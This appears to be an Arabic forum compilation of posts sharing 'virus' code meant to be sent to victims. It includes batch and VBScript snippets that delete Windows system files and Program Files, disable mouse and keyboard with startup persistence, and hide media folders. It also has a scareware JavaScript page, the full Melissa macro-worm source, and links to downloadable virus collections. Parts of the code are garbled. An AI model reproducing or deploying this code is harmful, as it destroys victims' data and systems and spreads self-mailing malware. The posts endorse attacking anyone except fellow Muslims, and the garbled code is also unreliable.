فيروس يقوم بتعطيل الساعه

السلام عليكم ورحمة الله وبركاته

اليوم اقدم لكم هذا الفيروس وهو يقوم بتعطيل الساعه ولا تسطيع تبطها

الكود


@echo off
DATE 14-02-1995
Time 7.77
attrib +r +s +h ExtraBus.bat


فى رعايه الله

فيروس يقوم بالتلاعب بـــــى الملفات

السلام عليكم ورحمة الله وبركاته

اقدم لكم هذا الفيروس وهو قوى جدا لانه يقوم بالاتلاعب بى الملفات واخفائها وتغير الامتداد وهكذا

كود الفيرس


@echo off
title VIRUS
color a
:1
dir/s
goto 1


فى رعايه الله

كود فيروس يقوم بحذف الويندوز وتدميره

السلام عليكم ورحمة الله وبركاته

اقدم لكم كود يقوم بتدمير الويندوز وحذفه

ولكن ارجوا عدم الاستخدام ضد المسلمين

الكود

@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
call attrib -h -r c:\autoexec.bat >nul 


فى رعايه الله 

كود لحذف شاشه الترحيب الويندوز

السلام عليكم ورحمة الله وبركاته 

هذا الكود لحذف شاشه ترحيب فى الويندوز 

الكود 

Del c:windowsLogos.sys

Del c:windowsLogow.sys  

اكبر اسطوانه تحمل اكثر من 1000 فايروس حمل الان

السلام عليكم ورحمة الله وبركاته

هذه اكبر اسطوانه به فيروسات قوى جدا

لتحميل الاسطوانه

http://www.mediafire.com/?zaxcddpmtb1

فيروس يقوم بحذف البرامج

السلام عليكم ورحمة الله وبركاته 

هذا الفيرس يقوم بحذف البرامج الموجود على الجهاز 

الكود 

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF

فى رعايه الله لكن دون الاستخدام ضد المسلمين

كود فيروس لتعطيل الماوس والكيبورد

السلام عليكم ورحمة الله وبركاته 


هذا الفيروس عند ارساله للضحيه يقوم بتعطيل الماوس والكيبورد 


الكود 


@echo off
C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s


فى رعايه الله لكن دون لاستخدام ضد المسلمين

فيروس يخدع الضحيه

السلام عليكم ورحمة الله وبركاته

اليوم احضرت لكم كود لفيروس رائع

يقوم بخدع الضحيه ويقول له انه تم تحميل فيروس خطير على جهازك ويكرر التحذير

الكود 

<script>
window.onerror=null;
var down;

function Minutes(data) {
for(var i=0;i<data.length;i++)
if(data.substring(i,i+1)==":")
break;
return(data.substring(0,i));
}

function Seconds(data) {
for(var i=0;i<data.length;i++)
if(data.substring(i,i+1)==":")
break;
return(data.substring(i+1,data.length));
}

function faketake(percent1){
if(percent1 < 100){
percent1++;

window.status="Upload of virus in progress: "+percent1+"% complete";
fid1=window.setTimeout("faketake("+percent1+")",20 0)



} else {
// alert("Upload of hard drive complete. Thank you for your donation.\nNow deleting files...");
fid1=window.setTimeout("fakeformat(0)",200);



}
}

function fakeformat(percent){
if(percent < 100){
percent++;
window.status=" Virus Upload complete - format of drive C:\\ in progress: "+percent+"% complete";
fid=window.setTimeout("fakeformat("+percent+")",36 0); // 900
} else {
window.status="Virus DeActivated... Closing Browser."; window.close()
}
}

window.setTimeout('faketake(-1)',200);

// end hiding -->
***********

<SCRIPT LANGUAGE="JavaScript">

<!-- ;

alert("HEY YOU");
alert("LOOK DOWN IN THE LEFT HAND CORNER");
alert("SEE THAT?");
alert("YOUR GETTING A VIRUS");
alert("ALSO YOUR HARD DRIVE WILL BE DELETED WHEN THAT GETS DONE");
alert("OH YA");
alert("THIS PROGRAM WILL CLOSE YOUR BROWSER WHEN IT GETS DONE TO KEEP THE VIRUS FROM WORKING SO DON'T MESS WITH ANYTHING JUST PRESS OK AT THE END");
alert("IF YOU TOUCH ANYTHING YOU WILL GET THE VIRUS");
alert("ALSO THE FORMAT THING ISN'T VERY REAL.");
alert("IT ONLY GETS RID OF A FEW SYSTEM FILES");
alert("SO NO BIGGIE");
alert("JavaVirus made by Coolmale");
alert("EMAIL ادخل ايميلك هنا to figure out how to get rid of it");

// end hide -->

***********

فى رعايه الله لكن دون استخدامه ضد المسلمين

فيروس من تصميمى " لنصر رسولنا الكريم " ادخل وشوف

هذا الفيروس يقوم باظهار رساله الى الضحيه مكتوب بها انصر نبيك ويقوم بتذويب الشاشه
لايقوم بحذف شئ ولا يقوم بدمير النظام هذا لتخويف الضحيه فقط

التحميل :

http://www.mediafire.com/?8estgusew2lksg8

فيروس يقوم بزرع ملفات لاتحذف

هذا الفيروس وظيفته زرع ملفات لا تحذف وتكون كثيره وفى كل مكان وهذه الملفات تقوم بتشويه منظر الجهاز واناقته

للتحميل :

http://www.mediafire.com/?bb299uv1ntl3yh6#1

فيروس يقوم بحذف الصور والاغانى من لجهاز

هذا الفيروس يقوم بحذف الاغانى والصور والافلام  من الجهاز واهذا خاص لمدمن الافلام الاباحيه عند ارساله له سوف يتم الحذف

الكود  " لا لاستخدام ضد المسلمين "


@ echo off
attrib +h "%userprofile%\my documents\my music"
attrib +h "%userprofile%\my documents\my videos"
attrib +h "%userprofile%\my documents\my pictures"


فى رعايه الله 

فيروس قمت بصناعته لنصر الرسول

السلام عليكم ورحمة لله وبركاته

اخوتى لاعزاء انا قمت بصناعه فيروس جديد ولكن هذا الفيروس لنصر الرسول صلى الله عليه وسلم وهذا الفيروس عباره عن
يظهر رساله مكتوب بها انصر نبيك
ويقوم برج الشاشه
ويسجل فى الريجسترى للظهور مع بدء التشغيل
لايقوم بتدمير الويندوز ولا يحذف اى شئ
وانا خلا اسبو ساقوم اقوم بصنعه مره اخرى ولكن باللغه الانجليزيه والدنماركيه ويكن محتوى رسالته " الى رسول الله "
رابط التحميل
http://www.mediafire.com/?8estgusew2lksg8

كود فيروس مليسا المدمر

طبعا الكل يعلم ماهو فيروس مليسا وما نتج عنه من اضرار كبيره فى الاجهزه الان تسيع صناعته

ولكن لاتجربها فى اخوك لمسلم
الكود

كود فيروس ميليسا

Private Sub AutoOpen() On Error Resume Next 
p$ = "clone" 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") <> "" Then 
CommandBars("Macro").Controls("Security...").Enabled = False 
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") = 1& 
Else p$ = "clone" 
CommandBars("Tools").Controls("Macro").Enabled = False 
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) 
End If 
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 
Set UngaDasOutlook = CreateObject("Outlook.Application") 
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then 
If UngaDasOutlook = "Outlook" Then 
DasMapiName.Logon "profile", "password" 
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName 
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" 
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo

'Clone written by Duke/SMF 
'Works in both Word 2000 and Word 97 
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! 
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. Im outta here." 


فى رعايه الله

تعلم صنع اداه تزيل لك اى فيروس تريد

اخوتى الاعزاء نظرا لانتشار الفيروسات الجديده وفيروس " صرخه الرعب "
احضرت لكم اداه صغيره جداااا تقوم انت بصنعها لحذف الفيروسات فقط كل ماعليك اتبع الخطوات

الحطوة الأولى:
افتح المفكرة واكتب فيها الكود الموجود بالاسفل واضغ على حف باسم ثم تكت اى اسم تريد ثم .bat المهم يجب ان يكون فى خر لاسم الذى تريده .bat
ملاحظة:
هذا الأنتي هو لنزع اى فيروس تريد
المرحلة الثانية:
استبدل في مكان autorun.* اسم الفيروس الذي تريد نزعه من الكمبيوتر

هذا هو لكود

@echo on
taskkill /im explorer.exe /f
taskkill /im wscript.exe
start reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\EXp lorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 1 /f
start reg import kill.reg
del c:\autorun.* /f /q /as
del %SYSTEMROOT%\system32\autorun.* /f /q /as
del d:\autorun.* /f /q /as




del e:\autorun.* /f /q /as
del f:\autorun.* /f /q /as
del g:\autorun.* /f /q /as
del h:\autorun.* /f /q /as
del i:\autorun.* /f /q /as
del j:\autorun.* /f /q /as
del k:\autorun.* /f /q /as
del l:\autorun.* /f /q /as
start explorer.exe

ارجوا ان ينال اعجابكم